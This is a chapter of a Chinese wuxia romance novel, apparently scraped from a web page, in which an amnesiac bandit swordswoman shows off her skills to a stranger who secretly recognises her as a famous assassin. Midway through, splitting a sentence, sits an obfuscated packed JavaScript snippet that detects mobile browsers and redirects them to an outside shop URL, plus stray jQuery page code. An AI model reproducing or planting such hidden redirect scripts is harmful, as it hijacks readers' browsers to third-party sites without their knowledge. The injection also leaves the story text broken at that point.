沈鸢急了:“你再考虑一下!我这人很有用的……”
“有用?比如能把鸡腿煮焦?能让锅子冒烟?”
“做饭不是我擅长的,我自然不会。”她跺着脚解释,脸都红了,也不知是急的还是羞的。
“那你擅长什么?追贼?”
“追贼也算吧?我轻功好,可以帮你探路,你做茶叶生意免不了走南闯北的,到了陌生地方,是不是需要一个探路的?再说了,你就确信自己的茶叶不会被贼人惦记?”
陆辞沉默了一下:“你的轻功有多好?让我看看。”
沈鸢眼前一亮,脑子迅速转起来。
该怎么向他展示轻功呢?总不能点了香,绕着寨子跑一圈吧?这也太费事费时了。
况且她没吃上饭,肚子还饿着……
想到这里,她有了主意,指指窗外月色下的婆娑树影:“那是大当家种的樱桃树,最近结果了,很好吃的。我去摘一些,咱们一起吃啊。”
像是生怕被拒绝似的,沈鸢拎着藤篮,脚步飞快地从门口窜了出去,整个人像只燕子般轻盈。
陆辞只见到她足尖轻点,飞身上树,在叶中穿梭,而后的动作就看不清了,只听见衣袂带起的风声在空气中呼啸。
随着她飘然落地,手里的藤篮已经满了。
一整篮樱桃小山似的堆在里头,个个红艳饱满。
陆辞的瞳孔骤然缩了一下,满脑都是刚才那个鬼魅般的身影。
这姑娘的轻功……不是一般的好。
不,不单是轻功,还有内力。能以掌风把满园的叶子都震下来,没有深厚的内力是决计做不到的。
拿着两颗樱桃递给陆辞,手有点抖,刚才胸口真气已到了极致,再也使不上力了。
手里樱桃咕噜噜滚落在地。
沈鸢一惊,赶紧解释:“陆公子,我虽然是受过伤,但已好得差不多了,不碍事的。”
那人点头,眼神不定地看着那个被樱桃堆满的藤篮。
“看出来了,二当家的轻功,是我平时未曾见过的好。我今天可算是长见识了,头一次看见这样摘樱桃的。”
“这多快啊!”她这才松了口气。
笑颜明媚时,眼角泪痣绚烂,当真像樱桃一般,让人见过那张脸便觉得难忘。
见陆辞不吃,她索性自己吃起来,一口下去:“可甜了。”肚子也终于不那么饿的慌了。
“别愣着啊,快尝尝。大当家种的樱桃不肯给别人吃的,趁他不在,赶紧的!”
催了两声,那人总算吃了口樱桃,沈鸢笑意更甚,颇感欣慰。
陆辞承认自己轻功好,还吃了她摘的樱桃,这下总该答应了吧?
谁料他还是摇头:“抱歉,我手底下已有人手,暂时不缺。二当家想去都城,还是另行找人吧。”
她泄气:“就是找不到人啊,这寨子如此偏僻,鲜少有人进出,我要是能找到人,还至于等两个月吗?”
早就想出去了!
就算是拖着伤,也想出去啊!
再说了,此人来自都城,这是最好的机会,错过就没有了!
心中郁闷,她愤愤挥了下手,将手里吃剩的樱桃核甩了出去。
寂静月色下,不远处的樱桃树发出了轻微一声脆响。
叶子簌簌抖落,铺了满地,有根枝丫笔直落了下来。
枝头樱桃也带落,四散滚远。
沈鸢傻眼:“我的樱桃!”
心痛啊,好好一枝头的樱桃,就这样全都掉了……
陆辞面上神情出现了一丝颤动,快走两步去看地上的枝丫。
断口处齐整,就像是被人用什么利器割开。而且是一气呵成的那种。
力道、方向、距离,一切都刚刚好。
“你刚才扔了什么?”他面色警惕,在树下站定,不肯再往前。
沈鸢莫名其妙:“好像是樱桃核?”
见那人死死盯着自己的手,漆黑瞳孔仿佛写着四个字:不敢相信。她无奈说:“真的是樱桃核,我手里哪有别的东西?”
以一个樱桃核断了整条树枝?
这是何等功夫?听起来简直匪夷所思。
可是陆辞没有说话,对着地面沉默的样子,好像是信了。
他在回忆方才捕捉到的那一幕。可是能想起来的只有残影。
因为速度太快,几乎没有看清她手里的樱桃核是怎么出去的,却分明察觉到一股气息……有若剑气。
据他所知,这一招名叫裂空。
会的人,只有一个。
陆辞将沈鸢来来回回又看了一遍,唇线抿得笔直,突然问:“你说你受过伤?”
“可不是嘛。”
“二当家身体没好透,就有如此身手,难怪得大当家如此信任。若是不曾受伤,岂非是上天入地都不在话下?
最后一句,像是玩笑话似的,但沈鸢竟变了脸色。
“……我不知道。”眨巴了几下眼睛,她目光低垂着,说不出话来。其实想过很多次,若是伤好了,记忆恢复了,她会变成怎样,可是一切只是假想,她心里没底。
所有的答案,只能自己去寻。
陆辞觉察出对面的异样,心中惊疑又多了几分。
这人,好像压根不记得以前的事了。
他忽然觉得自己所图谋之事有了转机。
白天翻过大当家墙头时,明明要找的东西就在那里,结果被这位二当家追了许久,只道是晦气,又要无功而返。
谁料柳暗花明,他发现此人虽是锋利刀剑,但若能用好了,对自己极为有利。
陆辞颔首:“二当家想去都城,如此心诚,不如我考虑一二。”
“真的?”沈鸢眼睛晶亮,本以为没戏了,竟然还有希望!
也不知那人怎么就开始松口了,不过这不重要,只要他肯答应,一切好商量!
咕噜一声响,她捂着肚子尴尬地笑:“原以为樱桃能填饱肚子,看来还是不够吃,叫陆公子见笑了。”
“无妨,我也有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720431|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饿了。你这厨房里可有能吃的东西?”
“有是有,可是面条是干的,鸡蛋是生的。哦对墙上挂着腊肉,那玩意儿倒是能切了直接吃。”
“东西都给我吧,我来煮。”
他进了厨房,向灶台走去,从沈鸢身边擦肩而过,那张清俊的脸转头看了眼夜色下大当家院落的墙砖。
“来了!”沈鸢眼里的光更亮了,屁颠屁颠跟在后面。
陆公子真是个好人啊。
厨房,炉子重新燃了火,沈鸢很有自知之明,乖乖坐在灶台边上等着别人动手。
这人做饭的样子倒是有模有样的。烧水、下面、卧鸡蛋、切腊肉,动作行云流水,不像是在厨房里,反倒是像在……
她一下子说不上来,反正在自己认知里没见过那么赏心悦目的画面。
香气飘出来时,注意力就彻底被勾走了。
清汤面,卧了个荷包蛋,铺了几片腊肉,上面还撒了点葱花,看着就让人食指大动。
沈鸢抄起筷子就吃,呼噜呼噜地往嘴里扒,头也不抬。
陆辞也在对面坐下来,慢条斯理地吃着。偶尔还看一眼对面风卷残云的姑娘,旋即垂目,也不知在想些什么。
捧着碗将最后的汤也喝完时,她听见那人说:“带你离开,也不是不行,不过总得把这里的茶叶都采了才行,算算日子,也差不多是大当家回来的时候吧。”
她先是心中一喜,旋即又颓然:“那还得好几天!”
等大当家来了,她估计又走不成了,说什么都要赶在大当家回来之前把茶叶都给采了!
“不如我帮你们采茶,能快点。你看我刚才摘樱桃那么快,我若是去采茶,肯定也很快!”
连他都忍不住笑了:“还真是。”
沈鸢伸出小指:“那就这么说定了,明天我去茶园找你,我们不见不散!”
陆辞看着她大笑时眼睛那颗微颤的红色泪痣,也伸出了小指,拉了拉钩。
“不见不散。”
窗外,月亮已经升到半空了,也不知道现在是“今天”还是“明天”。
“不行不行,我得赶紧回去睡了,不然早上起不来。你也早点休息啊。”沈鸢急急往外走,又想起什么回头,“我跟你说啊,我和大当家同住,我在西屋,他在东屋,你顺着他屋子方向就能下山了。”
陆辞抬头看了眼东屋院落的墙,僵硬地点了点头:“多谢。”
沈鸢并没有听见屋里的声音,早已头也不回地跑了,马尾在月光下一甩一甩的,很快就消失在夜色里。
陆辞独自站在厨房门口,站了好一会儿,凉风吹来,他松开了被冷汗打湿的手。
从袖中摸出一张字条,目光骤缩。
栖鸾阁刺客,代号“鸢”。
此人特征,眼下红色泪痣。
成名绝技,裂空。
字条置于火中,顷刻成了灰烬。他嘴角一抹冷笑,失忆的刺客,还能叫刺客吗?
不过是一把任何人皆可用的刀。